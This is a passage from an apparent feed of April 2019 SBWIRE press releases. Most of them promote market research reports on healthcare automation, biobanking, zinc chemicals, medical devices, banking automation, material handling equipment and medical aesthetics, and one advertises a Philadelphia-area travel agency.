carry out other important tasks since it helps in performing repetitive tasks. This is estimated to help in carrying out the tasks efficiently. These technologies are employed to carry out different critical tasks that need accuracy and can be accomplished through automated machines, which again indicates reduction of overhead counts. Moreover, automation decreases wastage of time as compared to manual labor. This factor is likely to have a medium impact during the short-term period. Increasing government investment is an important factor propelling the global market during the forecast period. Usage of smart technology in the market is propelling the demand for healthcare automation. Currently, the government is supporting implementation of automation in healthcare by providing funds and investments in the healthcare industries. For instance, in Europe, government bodies, such as Medicines and Healthcare Products Regulatory Agency, are endorsing automated system for pharmacies. Government authorities are investing funds in research and development assisting innovation in the healthcare automation sector. Rising health issues is a major concern, globally, so to overcome such issues newer types of automation technologies have to be implemented in the healthcare automation section. Rising advancement in technology is another driving factor in this market. Technological advancement helps in developing energy efficient technologies that are likely to help in real-time data collection, continuous monitoring, predicting and alerting the increasing risk of possibly serious health issue, and alert the healthcare providers that an interference is required. Contact For Any Query or to Get Customized Report Request: https://www.researchmoz.us/enquiry.php?type=E&repid=1128361 Global Healthcare Automation Market: Segmentation The global healthcare automation market is bifurcated on the basis of application into therapeutic automation, lab and pharmacy automation, logistics and training automation and diagnostics and monitoring automation. In 2016, therapeutic automation market accounted for the highest market revenue share. Need for accuracy and rising cost of labor are some of the major factors bolstering the demand of this segment globally during the forecast period. Moreover, on the basis of end use the market is bifurcated into pharmacies, research institutes and labs, home care and others. Research institutes and labs held the highest market revenue globally during the forecast period. The geographical split of the global market encompasses North America, Europe, Asia Pacific, Middle East and Africa and Latin America. North America holds the highest market share followed by Europe and Asia Pacific in 2016. Key Players Mentioned in the Report are: Some of the principal players in the global healthcare automation market are Siemens AG (Germany), General Electric Company (U.S.), Swisslog Holding AG (Switzerland), Koninklijke Philips N.V. (the Netherlands), Medtronic PLC (Ireland), Intuitive Surgical, Inc. (U.S.), Stryker Corporation (U.S.), Danaher Corporation (U.S.), Accuray Inc. (U.S.) and Tecan Group Ltd. (Switzerland) among others. The market has been segmented as follows: Healthcare Automation Market, by Application: - Therapeutic Automation - Lab and Pharmacy Automation - Logistics and Training Automation - Diagnostics and Monitoring Automation? Healthcare Automation Market, by End Use: - Pharmacies - Research institutes and labs - Home Care - Others Healthcare Automation Market, by Geography: - North America - U.S. - Canada - Rest of North America - Europe - U.K. - Germany - France - Italy - Rest of Europe - Asia Pacific - India - China - Japan - Rest of Asia Pacific - Middle East & Africa - South Africa - U.A.E. - Rest of Middle East and Africa - Latin America - Brazil - Rest of Latin America Order A Copy Of This Report @ https://www.researchmoz.com/checkout?rep_id=1128361&licType=S About ResearchMoz ResearchMoz is the world's fastest growing collection of market research reports worldwide. Our database is composed of current market studies from over 100 featured publishers worldwide. Our market research databases integrate statistics with analysis from global, regional, country and company perspectives. ResearchMoz's service portfolio also includes value-added services such as market research customization, competitive landscaping, and in-depth surveys, delivered by a team of experienced Research Coordinators. Contact Us: Mr. Nachiket Albany NY - 12207 United States Tel: +1-518-621-2074 Tel: 866-997-4948 (Us-Canada Toll Free) Email: sales@researchmoz.us For More Reports Visit @ http://marketresearchlatestreports.blogspot.com/ Albany, NY -- (SBWIRE) -- 04/26/2019 -- Biobanks are kind of repositories which store the biological samples for research and educational purpose. The samples are collected form general public based on various factors such as ethnicity, age, gender, lifestyle and geography. Biobanks collect the samples in various forms such as tissues, saliva, blood, etc. A purified genomic database is maintained in these biobanks, this data is significant in research and study purpose for understanding the environmental impacts and mutations, and diseases and disorders derived from them. The samples are stored in groups of specific traits to ease their application in research purposes. The samples are collected from donors after their consensus and most of the biobanks follow the practice of donor's ownership and his consensus on use of his/her sample for any further research purpose by private entity or public organization. Biobanks play a vital role in research and development is healthcare industry. Obtain Report Details @ https://www.transparencymarketresearch.com/human-biobanking-ownership-market.html The genetic and other biological data repository maintained by biobanks help researchers to understand the human trait associated diseases and disorders, and also the impact of environment and genetic variations on cell lines and human health. These biobanks provide extensive data based on these factors and on the basis of other demographical traits, which is expected to grow the human biobanking ownership market. The biobanks offer database of cross border population which makes its users time saving and effective resource, which is expected to increase uptake for biobanking services across the globe. However, high cost associated with human biobanks, as the genome sequencing is costly and tedious process, the human biobanking ownership market is expected to restrain the growth across the globe. Also stringent laws and regulations in biobanking and concern over the security and privacy of human biobanks across globe is another factor expected to bolster the growth for human biobanking ownership market. In the near future, the global human biobanking ownership market is expected to be governed by laws to protect the privacy of gene donors and establish their rights. For example, in Estonia, the Human Genes Research Act passed in 1999 provides donors full authority over who can access their data and establishes anonymity in clinical research. Such laws will help in the growth of the global human biobanking ownership market. Request Report Brochure @ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=12491 Based on the operator of the biobank, the human biobanks can be segmented in to academic & research Institutes, pharmaceutical and biotech industry, hospitals, and stand-alone biobanks. These biobanks serve various purposes such as diagnostics, forensic, organ transplantation, research, and others. By the ownership type the biobanks can be privately funded and operated, publically funded and operated, and public-private partnership funded and operated. Some of the Government agencies promote biobanks, so as to create database of population to support in strengthening the healthcare infrastructure. Geographically, global human biobanking ownership market is segmented in four major regions such as North America, Europe, Asia Pacific and Rest of the World. Asia Pacific has been driving the global market growth owing to the rapid growth of the private biobanks and clinical research organizations in the region. Demand witnessed in North America and Europe is also significantly aiding the growth of the market. In Europe, countries such as Estonia are focusing on collecting the DNA of every citizen in order to enrich their national biobank. Request for TOC @ https://www.transparencymarketresearch.com/sample/sample.php?flag=T&rep_id=12491 In Estonia, the national biobank program started in 2000 by collecting DNA samples from a quarter of the country's population. While these DNA samples are mostly used for clinical research, the government is planning to use this data to build a robust health care infrastructure by offering personalized care. The Government of Estonia has already started developing a system to make this genetic data available to citizens and doctors. The major players operating in the market include ProMedDx, Affymetrix Inc., Abbott Laboratories, Acorda Therapeutics, Alpha Cord Inc., Autogen Inc., Biobank Ireland Trust, BioCision, Biokryo GmbH, BioLife Solutions Inc., Biomatrica Inc., BioStorage Technologies Inc., Cells4Life Ltd., Cesca Therapeutics Inc., China Cord Blood Corporation, Core Dynamics Inc., Cryo Bio System, and Sanford Health among others. Albany, NY -- (SBWIRE) -- 04/26/2019 -- Inorganic Zinc Chemicals Market report includes (6 Year Forecast 2019-2025) includes Overview, classification, industry value, price, cost and gross profit. It also offers in-intensity insight of the Inorganic Zinc Chemicals industry masking all vital parameters along with, Drivers, Market Trends, Market Dynamics, Opportunities, Competitive Landscape, Price and Gross Margin, Inorganic Zinc Chemicals market Share via Region, New Challenge Feasibility Evaluation, Analysis and Guidelines on New mission Investment. Inorganic zinc chemicals are an extensive concept. In general, inorganic zinc chemicals mainly covers zinc oxide and various zinc salts. Get Free PDF For More Technical Insights @ https://www.researchmoz.us/enquiry.php?type=S&repid=2123977 The technical barriers of inorganic zinc chemicals are not high, and there are numerous players, including US Zinc, Zochem, Umicore, Zinc Nacional, Zinc Oxide LLC, Silox, GH Chemicals, Rubamin, Grillo, ISKY, Xinxin Chemical, Bohigh and Haihua. These companies mainly distribute in India, China, Canada, Mexico, Brazil, EU,Canada and USA. China is the largest consumer and producer, almost 40% of total consumption in 2016, followed by US with 25%of consumption share. This report covers the major zinc chemicals of commercial importance: zinc oxide (accounting for 51%), zinc sulfate (25%), and zinc chloride (8%). The major market segments for zinc chemicals include rubber compounding, agriculture, and ceramics. Zinc chemicals continue to show growth in the area of fertilizers, animal feed, and food consumption. As more than 50% of the soils in the world are considered to be zinc-deficient and with the population having doubled in the past 30 years and projected to increase from 7 billion to over 9 billion by 2050, and arable land per person declining, crop yields must increase. In many studies, including projects in Brazil, China, India, and Turkey, agricultural yields were increased by adding zinc to standard fertilizers and premixes. In addition, various organizations and businesses alike have begun to emphasize the benefits of zinc used in food and nutritional supplements. Zinc oxide used in the manufacture of rubber compounding is driven largely by automotive markets, or more specifically tires, belts, hoses, and other. Global automotive production has rebounded strongly since the economic downturn, with considerable rubber capacity increases reflected in India, Taiwan, CIS, Brazil, and China. In more recent years, the United States has begun to experience a surge in new tire and rubber capacity as global manufacturers move closer to automotive production centers. As global demand in this segment continues to rise, changes in consumer trends may lead to slower growth near the end of the forecast period. Global Inorganic Zinc Chemicals market size will increase to 4810 Million US$ by 2025, from 4040 Million US$ in 2018, at a CAGR of 2.2% during the forecast period. In this study, 2018 has been considered as the base year and 2019 to 2025 as the forecast period to estimate the market size for Inorganic Zinc Chemicals. This report researches the worldwide Inorganic Zinc Chemicals market size (value, capacity, production and consumption) in key regions like United States, Europe, Asia Pacific (China, Japan) and other regions. This study categorizes the global Inorganic Zinc Chemicals breakdown data by manufacturers, region, type and application, also analyzes the market status, market share, growth rate, future trends, market drivers, opportunities and challenges, risks and entry barriers, sales channels, distributors and Porter's Five Forces Analysis. The following manufacturers are covered in this report: US Zinc Zochem Umicore Zinc Nacional ISKY Xinxin Chemical Bohigh Zinc Oxide LLC Silox Hebei Yuanda Hunan Jingshi God Leaves Rech Chemical GH Chemicals Newsky Best-selling Chemical Rubamin Grillo Haolin Chemicals DaHua Chemical Mario Pilato Brueggemann A-Esse Hakusui Pan-Continental Chemical Seyang Yongchang Longli Zhongse Borax Haihua Xingyuan Haigang Liuzhou Zinc Wuwei Industrial Jin Hong Hua Gong Hebei Kuoyang Inorganic Zinc Chemicals Breakdown Data by Type Zinc Oxide Zinc Sulfate Zinc Chloride Zinc Borate Others Inorganic Zinc Chemicals Breakdown Data by Application Agriculture and Animal Husbandry Food and pharmaceutical industry Rubber/Tires Ceramic/Glass Chemical Industry Inorganic Zinc Chemicals Production Breakdown Data by Region United States Europe China Japan Other Regions Place an Enquiry to Our Industry Expert @ https://www.researchmoz.us/enquiry.php?type=E&repid=2123977 Inorganic Zinc Chemicals Consumption Breakdown Data by Region North America United States Canada Mexico Asia-Pacific China India... The study objectives are: To analyze and research the global Inorganic Zinc Chemicals capacity, production, value, consumption, status and forecast; To focus on the key Inorganic Zinc Chemicals manufacturers and study the capacity, production, value, market share and development plans in next few years. To focuses on the global key manufacturers, to define, describe and analyze the market competition landscape, SWOT analysis. To define, describe and forecast the market by type, application and region. To analyze the global and key regions market potential and advantage, opportunity and challenge, restraints and risks. To identify significant trends and factors driving or inhibiting the market growth. To analyze the opportunities in the market for stakeholders by identifying the high growth segments. To strategically analyze each submarket with respect to individual growth trend and their contribution to the market. To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the market. To strategically profile the key players and comprehensively analyze their growth strategies. Valley Cottage, NY -- (SBWIRE) -- 04/26/2019 -- According to Future Market Insights' survey on physician practice pattern concerning intra-abdominal pressure measurement devices, 33.9% physicians admitted to never measuring bladder pressure in the ICU. Rising prevalence of intra-abdominal hypertension (IAH), combined with development of DEHP-free products is fuelling demand for intra-abdominal pressure measurement devices. According to a new research by Future Market Insights, the global intra-abdominal pressure measurement devices market will grow at a CAGR of 16.5% to reach US$ 173.3 Mn by 2026. The report predicts adoption of intra-abdominal hypertension (IAH) to witness steady adoption in developing countries. Currently, bulk of the demand for these devices is concentrated in America and Europe. Asia Pacific, Latin America, and GCC are among the regions where demand for intra-abdominal pressure measurement devices will grow steadily during the forecast period. Request to View Sample of Research Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-2612 According to Future Market Insights, collaboration between intra-abdominal pressure measurement device manufacturers and catheters for measuring IAP in ICUs is growing. Further, owing to better sensitivity and accuracy of these devices, many physicians are preferring clinical examination of IAH over physical detection. Use of intra-abdominal pressure measurement devices in abdominal procedures was estimated at 1,472,000 in 2016. Future Market Insights estimates it to reach 7,246,000 by 2026. North America continued to be the leader in the number of abdominal pressure measurement procedures in 2016. Of the 1,472,000 procedures carried out in 2016, North America accounted for 647,000. It is pertinent to mention that Canada's share of abdominal procedures was negligible, accounting for only 44,000 procedures in 2016. The U.S. continues to remain the country where a majority of abdominal pressure measurement procedures were conducted in 2016. Western Europe was the second highest region, with 275,000 procedures, whereas Asia Pacific excluding Japan (APEJ) was at third position. By product type, Future Market Insights offers analysis and forecast on disposables and equipment. According to the study, disposables segment accounted for higher revenue share of the overall market in 2016. Future Market Insights estimates this trend to continue during the forecast period 2016-2026. By application type, Future Market Insights has segmented the market into intra-compartment pressure and intra-abdominal hypertension. Demand for intra-abdominal pressure measurement devices was higher for intra-abdominal hypertension. This segment was valued at US$ 32.5 Mn in 2016. By end-user, hospitals accounted for the highest demand for intra-abdominal pressure measurement devices in 2016. Trauma centres, clinics, and ambulatory surgical centres were the key application segments. Request Methodology of this Report @ https://www.futuremarketinsights.com/askus/rep-gb-2612 Leading intra-abdominal pressure measurement device manufacturers include C. R. Bard, Inc., Stryker Corporation, Holtech Medical, ConvaTec Group PLC, and Biometrix Ltd. According to the report, C. R. Bard, Inc. accounted for nearly 30% revenue share of the global intra-abdominal pressure measurement devices market. Stryker Corporation and Holtech Medical were the other key players by market share. Southampton, PA -- (SBWIRE) -- 04/26/2019 -- Everyone has a dream vacation. Whether they're fantasizing about spending the summer hiking through the mountains of New Zealand or they want to introduce their children to the magic of their favorite beach, the team at Jet Set Travels is here to make Pennsylvanians' dreams a reality. Jet Set Travels is now planning trips to a wide range of vacation destinations in Philadelphia, PA, for the summer. Jet Set Travels is a travel agency in Philadelphia that has connections with cruise lines, resorts, and hotels all around the world. The expert travel agents working with Jet Set Travels do more than help adventurers plan their next vacationsthey can also help book tickets and excursions, make recommendations for families with small children, and secure reservations. Their team is now booking vacations in Asia, Australia, North America, and many more fabulous destinations. They even have a number of exotic and thrilling all-inclusive packages to help travelers spend less time worrying about budgeting and more time relaxing, soaking up the sun, and enjoying time with family members. Now is the perfect time for families and solo travelers who are dreaming of the perfect summer getaway to consult with the best travel agency in Philadelphia, PA, Jet Set Travels. Anyone interested in learning more about how Jet Set Travels can help them plan their ideal vacation this summer is encouraged to give their team a call today at 215-309-8272 or to pay them a visit online at http://www.jetsettravels.com/. About Jet Set Travels of Southampton, Inc. Jet Set Travels of Southampton, Inc, is a Bucks County, PA based travel agency that specializes in destination weddings, honeymoons, and other vacations. The company plans custom getaways for clients that include cruises, car rentals, airfare, tours, and more. All of the employees are driven and extensively trained to make recommendations and to find the lowest prices for travelers. For more information, visit http://www.jetsettravels.com or call 215-309-8272. Edison, NJ -- (SBWIRE) -- 04/26/2019 -- Global Banking Automation & Roboadvisors Market Insights by Application, Product Type, Competitive Landscape & Regional Forecast 2025 is latest research study released by HTF MI evaluating the market, highlighting opportunities, risk side analysis, and leveraged with strategic and tactical decision-making support. The study provides information on market trends and development, drivers, capacities, technologies, and on the changing capital structure of the Global Banking Automation & Roboadvisors Market. Some of the key players profiled in the study are Alibaba (China) , Antworks (Singapore) , Automation Anywhere (United States) , BlackRock (United States) , Blue Prism (United Kingdom) , Boston Consulting Group (United States) , Charles Schwab (United States) , FCA (Financial Conduct Authority) (United Kingdom) , FutureAdvisor (United States) and HSBC (United Kingdom). You can get free access to samples from the report here: https://www.htfmarketreport.com/sample-report/1525148-global-banking-automation-roboadvisors-market-2 Banking Automation & Roboadvisors Market Overview: Market Dynamics Market Trend - Increasing Demand due to Customer Service Chatbots Market Drivers - Rising Awareness about Benefits of Banking Automation - Adoption of Robotic Process Automation Opportunities - Technological Innovation in Emerging Country Major Market Developments On 24th September 2018, BlackRock has acquired Citibanamex's asset management business. The deal was established for fixed income, equity, and multi-asset funds holding approximately 34 billion dollar in investments. On 9th May 2018, BlackRock has invested 50 million dollar micro investing site Acorns. The personal finance app allows customers to automatically invest spare change from everyday purchases, such as those made via credit card transactions, in exchange-traded funds from BlackRock and Vanguard. Target Audience Banking Automation Service Provider , Financial Institutes , Private Research Institutes , Government Bodies and Others Enquire for customization in Report @ https://www.htfmarketreport.com/enquiry-before-buy/1525148-global-banking-automation-roboadvisors-market-2 Banking Automation & Roboadvisors Market: Demand Analysis & Opportunity Outlook 2023 Research study is to define market sizes of various segments & countries in previous years and to forecast the values to the next 5-8 years. The report is designed to comprise each qualitative and quantitative elements of the industry facts including: market share, market size (value and volume 2012-17, and forecast to 2023) with admire to each of the areas and countries concerned inside the examination. Furthermore, the report additionally caters the detailed statistics about the vital elements which includes drivers & restraining factors which will define the future growth of the market. Furthermore, the years considered for the study are as follows: Historical year 2013-2017 Base year 2018 Forecast period** 2018 to 2023 [** unless otherwise stated] Moreover, it will also include the opportunities available in micro markets for stakeholders to invest, detailed analysis of competitive landscape and product services of key players. The designated segments and sub-section of the market are explained below: The Study is segmented by following Product Type: Robotic Process Automation , Customer Service Chatbots and Roboadvisors Major applications/end-users industry are as follows: BFSI , Retail , Government , IT & Telecommunication , Defence Aerospace & Intelligence , Manufacturing and Others Some of the key Manufacturers Involved in the Market are Alibaba (China) , Antworks (Singapore) , Automation Anywhere (United States) , BlackRock (United States) , Blue Prism (United Kingdom) , Boston Consulting Group (United States) , Charles Schwab (United States) , FCA (Financial Conduct Authority) (United Kingdom) , FutureAdvisor (United States) and HSBC (United Kingdom) Buy this research report @ https://www.htfmarketreport.com/buy-now?format=1&report=1525148 For each region, market size and end users are analyzed as well as segment markets by types, applications and companies. If opting for the Global version of Banking Automation & Roboadvisors Market analysis is provided for major regions as follows: - North America (USA, Canada and Mexico) - Europe (Germany, France, UK, Russia and Italy) - Asia-Pacific (China, Japan, Korea, India and Southeast Asia) - South America (Brazil, Argentina, Columbia etc.) - Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa) Key Answers Captured in Study are Which geography would have better demand for product/services? What are the strategies adopted by big players in the regional market? Which country would see the steep rise in CAGR & year-on-year (Y-O-Y) growth? What is the current & expected market size in next five years? What is the market feasibility for long term investment? What opportunity the country would offer for existing and new players in the Banking Automation & Roboadvisors market? What is risk involved for suppliers in the geography? What factors would drive the demand for the product/service in near future? What is the impact analysis of various factors in the Global Banking Automation & Roboadvisors market growth? What are the recent trends in the regional market and how successful they are? Read Detailed Index of full Research Study at @ https://www.htfmarketreport.com/reports/1525148-global-banking-automation-roboadvisors-market-2 There are 15 Chapters to display the Global Banking Automation & Roboadvisors market. Chapter 1, About Executive Summary to describe Definition, Specifications and Classification of Global Banking Automation & Roboadvisors market, Applications [BFSI , Retail , Government , IT & Telecommunication , Defence Aerospace & Intelligence , Manufacturing and Others], Market Segment by Regions South America (Brazil, Argentina, Rest of South America) , Asia Pacific (China, Japan, India, South Korea, Taiwan, Australia, Rest of Asia-Pacific) , Europe (Germany, France, Italy, United Kingdom, Netherlands, Rest of Europe) , MEA (Middle East, Africa) , North America (United States, Canada, Mexico); Chapter 2, objective of the study. Chapter 3, to display Research methodology and techniques. Chapter 4 and 5, to show the Overall Market Analysis, segmentation analysis, characteristics; Chapter 6 and 7, to show the Market size, share and forecast; Five forces analysis (bargaining Power of buyers/suppliers), Threats to new entrants and market condition; Chapter 8 and 9, to show analysis by regional segmentation[South America (Brazil, Argentina, Rest of South America) , Asia Pacific (China, Japan, India, South Korea, Taiwan, Australia, Rest of Asia-Pacific) , Europe (Germany, France, Italy, United Kingdom, Netherlands, Rest of Europe) , MEA (Middle East, Africa) , North America (United States, Canada, Mexico) ], comparison, leading countries and opportunities; Regional Marketing Type Analysis, Supply Chain Analysis Chapter 10, focus on identifying the key industry influencer's, overview of decision framework accumulated through Industry experts and strategic decision makers; Chapter 11 and 12, Market Trend Analysis, Drivers, Challenges by consumer behaviour, Marketing Channels and demand & supply. Chapter 13 and 14, describe about the vendor landscape (classification and Market Positioning) Chapter 15, deals with Global Banking Automation & Roboadvisors Market sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source. Thanks for reading this article; you can also get individual chapter wise section or region wise report version like North America, Europe or Asia or Oceania [Australia and New Zealand]. About HTF Market Report HTF Market Report is a wholly owned brand of HTF market Intelligence Consulting Private Limited. HTF Market Report global research and market intelligence consulting organization is uniquely positioned to not only identify growth opportunities but to also empower and inspire you to create visionary growth strategies for futures, enabled by our extraordinary depth and breadth of thought leadership, research, tools, events and experience that assist you for making goals into a reality. Our understanding of the interplay between industry convergence, Mega Trends, technologies and market trends provides our clients with new business models and expansion opportunities. We are focused on identifying the "Accurate Forecast" in every industry we cover so our clients can reap the benefits of being early market entrants and can accomplish their "Goals & Objectives". Selbyville, DE -- (SBWIRE) -- 04/25/2019 -- The Europe material handling equipment market will witness growth owing to stringent government regulations mandating the use of advanced equipment for operator safety coupled with rising labor costs across various economies. The developed logistics & transportation sector in France coupled with the advanced manufacturing industry in Germany will support the regional industry demand. Regulations pertaining to energy efficiency in Germany will spur the demand for electric trucks. Request a sample of this premium report at: https://www.marketstudyreport.com/request-a-sample/312358/?utm_source=releasewire.com-SP The thriving durable manufacturing sector is expected to provide growth opportunities to the material handling equipment market. A manufacturing facility involves several operations such as picking & placing of objects from conveyors, storage of materials, and transportation of goods to and from the production facility to the desired location. Conveyor systems used in the production facility are capable of carrying heavy materials to specific destinations thereby facilitating the movement of large volumes of loads quickly. Bulk material handling systems are gaining significance in the durable manufacturing sector due to their ability to handle large loads smoothly. Technical issues pertaining to the operation of advanced systems coupled with the lack of availability of skilled technicians are anticipated to hinder the material handling equipment market growth. These systems are also prone to cyber security risks and the operation of automated systems involves a high degree of integration of hardware & software thereby increasing the complexity of the overall system. Moreover, the expenses associated with the maintenance of these systems will also discourage their adoption in businesses with budgetary constraints. There will be a demand for industrial trucks owing to their ability to handle heavy loads of data efficiently. They can be used to move materials over variable paths without any restrictions on the area covered, supporting the wide-scale adoption of these trucks. This machinery enables mechanized pickup and deposit of loads, thereby eliminating the manual work in transporting and lifting. The rise in the cross-border commerce owing to the improving trade sector is escalating the material handling equipment market growth. The flourishing e-commerce sector is expected to provide growth opportunities to the material handling equipment market growth. A rapid rise in the e-commerce industry, primarily online shopping, has resulted in shorter product delivery times, which is increasing the pressure on distribution operations in warehouses and logistics. The efficient supply chain operation is considered to be the backbone of e-commerce industry owing to which online retailers are implementing automated warehouses and cargo barges to reduce the time to market their products. Digital technologies are implemented in warehouses, distribution centers, and transport & logistics to enhance the delivery methods and to speed up the processes. Increased focus of e-commerce companies to offer enhanced customer satisfaction will fuel the material handling equipment market growth. Request a discount on standard prices of this premium report at: https://www.marketstudyreport.com/check-for-discount/312358/?utm_source=releasewire.com-SP Material Handling Equipment Market is projected to exceed USD 190 billion by 2024. The ongoing technological advancements in the automation industry coupled with the advent of Industry 4.0 and other advanced technologies, such as RFID and IoT, will propel the material handling equipment market growth over the coming years. Technologies such as Automatic Identification & Data Capture (AIDC) and IoT are becoming popular as they are cost-effective and help in improving the order fulfillment processes and enhancing the supply chain efficiency. Major players in the material handling equipment market include JBT Corporation, Columbus McKinnon, KUKA AG, Intelligrated, Inc., Hyster-Yale Materials Handling, Inc., and Flexlink. The industry is highly fragmented and competitive in nature owing to the presence of various industry participants. Companies operating in the industry are actively investing in R&D and developing technologically-advanced products and undertaking strategic acquisitions & collaborations to strengthen the product portfolio to sustain in the market. Table of Content: Chapter 1 Methodology & Scope 1.1 Methodology 1.1.1 Initial data exploration 1.1.2 Statistical model and forecast 1.1.3 Industry insights and validation 1.1.4 Definition and forecast parameters 1.1.4.1 Definitions 1.1.4.2 Methodology and forecast parameters 1.2 Data Sources 1.2.1 Secondary 1.2.2 Primary Chapter 2 Executive Summary 2.1 Global material handling equipment industry 360 degree synopsis, 2013 - 2024 2.1.1 Business trends 2.1.2 Regional trends 2.1.3 Application trends 2.1.4 Product trends Chapter 3 Material Handling Equipment Industry Insights 3.1 Industry segmentation 3.2 Industry landscape, 2013 - 2024 3.3 Industry ecosystem analysis 3.3.1 Distribution channel analysis 3.3.2 Vendor matrix 3.4 Technological & innovation landscape 3.4.1 Robotics industry outlook 3.4.2 Data analytics 3.4.3 Energy efficiency measures 3.4.4 IoT 3.5 Regulatory landscape 3.5.1 North America 3.5.1.1 ASME B20.1-2015 3.5.1.2 ANSI/ITSDF B56.1-2005 3.5.1.3 Federal Regulation of Occupational Health and Safety 3.5.2 Europe 3.5.2.1 BS EN 1554:2012 3.5.2.2 European emission regulations 3.5.2.3 Air Quality Certificate 3.5.3 Asia Pacific 3.5.3.1 IS 12663 (Part 2): 2000 3.5.3.2 The General Administration of Customs (GAC or China Customs) 3.5.3.3 The International Council on Clean Transportation 3.5.4 Latin America 3.5.4.1 NR12 3.5.4.2 Mexico's Industrial Health and Safety Regulations 3.5.5 MEA 3.5.5.1 Occupational Health & Safety Act, 1993 3.5.5.2 The South African Bureau of Standards (SABS) 3.5.5.3 Driven machinery regulations, 2011 3.5.5.4 PSI (Pre-shipment inspection) 3.5.5.5 Factories and Works Act 3.6 Industry impact forces 3.6.1 Growth drivers 3.6.1.1 Attractive e-commerce industry in the U.S. 3.6.1.2 Rising labor costs and inconveniences of employing a manual workforce in North America and Europe 3.6.1.3 Technological advancements in Europe 3.6.1.4 Advent of industry 4.0 in Europe 3.6.1.5 Growing automation demand from Asia Pacific 3.6.1.6 Growing demand for automation in Europe and Asia Pacific from SMEs 3.6.1.7 Growing demand for personalized Automated Guided Vehicles (AGVs) in China 3.6.1.8 Improving industrial sector and enhancing productivity in Latin American economies 3.6.1.9 Growth in the aviation industry in MEA 3.6.2 Industry pitfalls and challenges 3.6.2.1 High initial costs 3.6.2.2 Lack of awareness 3.6.2.3 Real-time technical challenges 3.7 Growth potential analysis 3.8 Customer analysis 3.8.1 3PL 3.8.1.1 Major pain points 3.8.1.2 Overview of key players 3.8.2 E-Commerce 3.8.2.1 Major pain points 3.8.2.1.1 Financial 3.8.2.1.2 Technical 3.8.2.1.3 Marketing 3.8.2.2 Overview of key players 3.8.3 Durable manufacturing 3.8.3.1 Major pain points 3.8.3.2 Overview of key players 3.8.4 General merchandise 3.8.4.1 Major pain points 3.8.4.2 Overview of key players 3.8.5 Food retail 3.8.5.1 Major pain points 3.8.5.2 Overview of key players 3.8.6 Food & beverage 3.8.6.1 Major pain points 3.8.6.2 Overview of key players 3.9 Porter's analysis 3.10 Competitive landscape, 2017 3.10.1 Strategy dashboard 3.11 PESTEL analysis Chapter 4 Material Handling Equipment Market, By Product 4.1 Key trends in the material handling equipment market, by product 4.2 Storage and handling equipment 4.2.1 Storage and handling equipment market, 2013 - 2024 4.2.2 Storage and handling equipment market, by region, 2013 - 2024 For more information on this report at: https://www.marketstudyreport.com/reports/material-handling-equipment-market/?utm_source=releasewire.com-SP Related Reports: - Global Automated Material Handling Equipment Market Research Report Forecast 2017-2022 The Global Automated Material Handling Equipment Market Research Report Forecast 2017-2022 is a valuable source of insightful data for business strategists. It provides the Automated Material Handling Equipment industry overview with growth analysis and historical & futuristic cost, revenue, demand and supply data (as applicable). The research analysts provide an elaborate description of the value chain and its distributor analysis. This Automated Material Handling Equipment market study provides comprehensive data which enhances the understanding, scope and application of this report. https://www.marketstudyreport.com/reports/global-automated-material-handling-equipment-market-research-report-forecast-2017-2022?utm_source=RR-SP About Market Study Report Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management. Contact Us: Market Study Report LLC 4 North Main Street, Selbyville, Delaware 19975 USA Phone: 1-302-273-0910 US Toll Free: 1-866-764-2150 Email: sales@marketstudyreport.com Website: https://www.marketstudyreport.com Blog: https://www.marketstudyreport.com/blog New York, NY -- (SBWIRE) -- 04/26/2019 -- Market Industry Reports (MIR) has published a new report titled "Medical Aesthetics Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast, 20192030." According to the report, the global medical aesthetics market is estimated to be over US$ 9.0 Bn in 2017. It is anticipated to grow at a double digit CAGR from 2019 to 2030. The continual growth of the medical aesthetic market can be attributed to several factors which have led to wide scale adoption of products and several devices, which are extensively used to improve physical appearance of patients. Moreover, the growing demand for cosmetic procedures and therapies across the globe is anticipated to further contribute to the substantial growth of the global medical aesthetic market between 2019 and 2030.To obtain better insights regarding the market scenario prominent players are increasingly focusing on collaborative initiatives with several institutes and research centers. The Anglia Ruskin University, based in England, has entered into an agreement with Allergen Inc., a medical aesthetic company, to develop educational program for practicing physicians in the Asia Pacific region on facial aesthetics. Get Free PDF Sample Copy @ https://www.marketindustryreports.com/free-sample/12 Rise in Medical Tourism Over the years, the emergence of medical tourism as a popular and profitable industry has played a vital role in contributing to the growth of the global medical aesthetic industry. Several countries, namely India, Turkey, Thailand, Brazil and other developing countries have emerged as essential contributors to global medical tourism industry. Multiple factors have been responsible for attracting patients to medical tourism. Cost effectiveness, availability of personalized and tailor-made services, better facilities, convenience, and advanced technologies have been vital in contributing to the medical travel facilities. In 2017, it was estimated that the total number of medical tourists across all countries was a staggering 14-16 million. It is further expected that the number of medical tourists travelling abroad seeking treatments and procedures will additionally increase at a rate of 25% every year. Cosmetic treatments have been one of the most lucrative therapy segments which have witnessed lucrative increment in terms of the number of medical tourist over the past few years. Attractive pricing coupled with availability of advanced technology has been a major driver for the global medical aesthetic market, which is further anticipated to grow in the coming years. Browse key industry insights spread across 150 pages with market data tables & figures & charts from the report, Medical Aesthetics Market by Product (Implants (Face, Breast, Soft Tissue), Body Contouring (Liposuction, Cellulite Reduction Devices), Aesthetic Products (Botulinum Toxin, Dermal Fillers) Lasers & Energy Devices (Hair, Tattoo, Laser Skin Resurfacing, Micro Needling), End Users (Dermatology Clinics, Cosmetic Centers, Hospitals) - Global Analysis & Forecast 2019-2030 in detail along with the table of contents: https://www.marketindustryreports.com/12/medica-aesthetics-market Increasing Adoption of Minimally-Invasive Procedures Since the advent of minimally-invasive procedures, the adoption of such procedures have witnessed substantial growth in recent times. Shorter hospital admittance time, lesser procedure associated pain and fewer complications have been pivotal in contributing to the growing adoption of minimally-invasive procedures. According to the American Society of Plastic Surgeons (ASPS), the numbers of Americans opting for minimally-invasive cosmetic procedures have witnessed a growth of nearly 200% since 2000. In 2017, the total number of cosmetic procedures performed in U.S. was nearly 1.8 million. Growing preference for minimally-invasive cosmetic procedures in anticipated to further propel the growth of the medical aesthetic market. Complications And Risk Related Associated with Cosmetic Procedures to Restrain the Market Various complications and risk related to cosmetic procedures have been major factors that have been affecting the growth of the medical aesthetic 